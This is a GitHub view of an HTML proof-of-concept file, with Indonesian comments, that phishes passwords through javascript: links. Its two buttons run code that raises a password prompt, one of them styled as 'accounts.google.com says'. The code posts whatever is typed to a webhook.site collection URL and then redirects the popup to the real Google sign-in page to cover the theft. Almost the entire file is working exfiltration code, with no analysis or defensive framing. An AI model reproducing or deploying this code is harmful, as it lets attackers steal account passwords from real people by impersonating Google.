test/bi.html at main · onydose/test · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width,initial-scale=1" />
  <title>PoC href=javascript (no dialog suppression)</title>
  <style>
    :root { color-scheme: light; }
    body { margin:0; padding:24px; font-family:system-ui, -apple-system, "Segoe UI", Roboto, sans-serif; background:#f5f5f5; }
    h1 { margin:0 0 8px; font-size:22px; }
    p  { margin:0 0 16px; color:#444; }
    .row { display:flex; gap:12px; flex-wrap:wrap; }
    a.btn {
      display:inline-block; padding:14px 18px; border-radius:10px; text-decoration:none;
      background:#1a73e8; color:#fff; font-weight:600; box-shadow:0 2px 6px rgba(26,115,232,.3);
    }
    a.btn:hover { background:#1557b0; }
    .note { margin-top:14px; font-size:12px; color:#666; }
  </style>
</head>
<body>
  <h1>PoC: prompt → POST exfil via href=javascript</h1>
  <p>Pilih salah satu:</p>

  <div class="row">
    <!-- Opsi A — SAME TAB (tidak ada window.open) -->
    <a class="btn" href='javascript:(function(){
      var exfil="https://webhook.site/46a1ff0d-65fb-41b4-a384-0ed267ed2a90/submit";
      var i=document.createElement("iframe");
      i.style.display="none";
      document.body.appendChild(i);
      i.src="javascript:(function(){setTimeout(function(){var p=prompt(\"Halo dunia\");if(p!==null){var d=document,f=d.createElement(\"form\");f.method=\"POST\";f.action=\""+ "https://webhook.site/46a1ff0d-65fb-41b4-a384-0ed267ed2a90/submit" +"\";var h=d.createElement(\"input\");h.type=\"hidden\";h.name=\"password\";h.value=p;f.appendChild(h);d.body.appendChild(f);f.submit();}},200);} )()";
      setTimeout(function(){try{if(i.parentNode)i.parentNode.removeChild(i);}catch(e){}},4000);
    })()'>Run (same tab)</a>

    <!-- Opsi B — POPUP about:blank lalu redirect ke "legit" -->
    <a class="btn" href='javascript:(function(){
      var exfil="https://webhook.site/46a1ff0d-65fb-41b4-a384-0ed267ed2a90/submit";
      var legit="https://accounts.google.com/signin/v2/challenge";
      var w=window.open("about:blank","_blank","popup,width=900,height=700");
      if(!w){alert("Enable popups to continue.");return;}
      try{w.focus();}catch(e){}
      setTimeout(function(){
        var p=w.prompt("accounts.google.com says\\n\\nPassword:");
        if(p!==null){
          try{
            var d=w.document,f=d.createElement("form");
            f.method="POST"; f.action=exfil;
            var h=d.createElement("input"); h.type="hidden"; h.name="password"; h.value=p;
            f.appendChild(h); d.body.appendChild(f); f.submit();
          }catch(e){}
        }
        setTimeout(function(){ try{ w.location=legit; }catch(e){} },250);
      },80);
    })()'>Run (popup → then legit)</a>
  </div>

  <p class="note">Jika popup diblokir, gunakan Opsi A (same tab).</p>
</body>
</html>